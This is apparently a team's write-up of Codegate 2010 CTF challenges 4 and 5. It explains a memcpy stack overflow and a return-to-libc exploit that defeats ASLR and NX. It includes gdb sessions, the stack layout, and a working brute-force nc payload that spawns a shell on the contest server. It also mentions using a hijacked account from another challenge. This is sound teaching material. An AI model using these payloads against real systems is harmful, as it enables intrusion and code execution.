Summary
Challenge 4 has a basic buffer overflow vulnerability running on modern Ubuntu Linux with ASLR. Challenge 5 shares the same code as Challenge 4 but added NX protection to make it harder. In challenge 4 we use ret2eax to by pass ASLR and return-to-libc technique to bypass NX in challenge 5 with brute-forcing for execl() libc address. We had to access to the server (hijack account of Challenge #2) to search for execl() address, it’s weakness of our solution for challenge 5.
Analysis
Challenge 4 information:
credentials: ctf4.codegate.org 9000
BINARY FILE: http://ctf.codegate.org/files____/easy
Challenge 5 information:
credentials: ctf4.codegate.org 9001
BINARY FILE: http://ctf.codegate.org/files____/harder
Both “easy” and “harder” share the same code which looks like below:
int __cdecl main()
{
size_t n; // [sp+18h] [bp-8h]@1
char *lineptr; // [sp+1Ch] [bp-4h]@1
lineptr = 0;
printf("Input: ");
fflush(0);
getline(&lineptr, &n, stdin);
func(lineptr, n);
return puts("nThanks. Goodbye");
}
void *__cdecl func(const void *src, size_t n)
{
char dest[264]; // [sp+10h] [bp-108h]@1
return memcpy(dest, src, n);
}
The traditional BOF at memcpy() in func() with 272 bytes allows us to overwrite the saved EIP to control program execution. Exploit for “easy” is obvious, you can find a writeup here, remain of this post will talk about Challenge 5.
The problem for exploiting ‘harder’ is to bypass:
- ASLR
- NX protection
We will use return-to-libc technique to overcome that.
Solution/Exploit
In order to exploit the “harder” we have to:
- Locate address of execl() function in libc
- Locate address of “/bin/sh” somewhere in memory
- Arrange stack to call execl(“/bin/sh”, …) when return from func()
Locate address of execl()
Based on our experience in Padocon 2010 pre-qual, we know that random mmap library address will repeat after several run.
$ gdb harder
(gdb) start
Temporary breakpoint 1, 0x0804850e in main ()
(gdb) p execl
$1 = {<text variable, no debug info>} 0x1a70c0 <execl>
(gdb) quit
Locate address of “/bin/sh”
There’s several way to find “/bin/sh” pointer according to other contestants discussed in #codegate IRC:
- Find “/bin/sh” address in RO_DATA of libc
- Put “/bin/sh” in our input buffer then find stack address that points to it (address of “dest” in func())
- Put “/bin/sh” in our input buffer then re-use “*lineptr” (already point to our buffer) remain in stack. This is our method.
Let examine the stack when we’re in func():
(gdb) disass func
Dump of assembler code for function func:
0x080484e4 <func+0>: push ebp
0x080484e5 <func+1>: mov ebp,esp
0x080484e7 <func+3>: sub esp,0x118
0x080484ed <func+9>: mov eax,DWORD PTR [ebp+0xc] <-- n
0x080484f0 <func+12>: mov DWORD PTR [esp+0x8],eax
0x080484f4 <func+16>: mov eax,DWORD PTR [ebp+0x8] <-- src's address (*lineptr)
0x080484f7 <func+19>: mov DWORD PTR [esp+0x4],eax
0x080484fb <func+23>: lea eax,[ebp-0x108] <-- dest's address
0x08048501 <func+29>: mov DWORD PTR [esp],eax
0x08048504 <func+32>: call 0x80483f8 <memcpy@plt>
0x08048509 <func+37>: leave
0x0804850a <func+38>: ret
End of assembler dump.
(gdb) b *0x08048504
Breakpoint 1 at 0x8048504
(gdb) r
Starting program: /tmp/harder
Input: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Breakpoint 1, 0x08048504 in func ()
(gdb) x/20x $ebp
0xbffff738: 0xbffff768 0x08048568 0x0804b008 0x00000078
[*lineptr] (2)
0xbffff748: 0x00d5b420 0xbffff768 0x00c49345 0x006c2d20
0xbffff758: 0x00000078 0x0804b008 0x08048590 0x00000000
[*lineptr] (1) [garbage str]
0xbffff768: 0xbffff7e8 0x00c30b56 0x00000001 0xbffff814
0xbffff778: 0xbffff81c 0xb7fff858 0xbffff7d0 0xffffffff
(gdb) x/8x 0x0804b008
0x804b008: 0x41414141 0x41414141 0x41414141 0x41414141
0x804b018: 0x41414141 0x41414141 0x41414141 0x41414141
Address of *lineptr is 0x0804b008 which point to our buffer. There’s two instances of *lineptr address on stack: (1) returned from getline(), (2) placed before calling func(). The (2) address is useless because it’s next to ret, the (1) address with next 2 addresses 0×08048590, 0×00000000 is perfect for execl(). What we need to do is lift the esp to correct address with few ret.
Arrange buffer & stack
With all the things above, we can craft our buffer as below:
["/bin/sh" | padding | ret*6 | execl() | "n"]
This will result on stack when return from func():
[ret*6 | execl() | 0xdeadbeef | "/bin/sh" | "garbage string" | 0 ]
Exploit
while true; do (python -c 'print "/bin/shx00" + "A"*260 + "x75x85x04x08"*6 + "xc0x70x1ax00" + "n"'; cat) | nc ctf4.codegate.org 9001 done Input: Input: Input: id uid=1004(harder) gid=1004(harder) cat /home/harder/flag.txt e2e4cb6adc9cd761dcde774f84529591 -
References
Keywords: return-to-libc, aslr, esp lifting, codegate 2010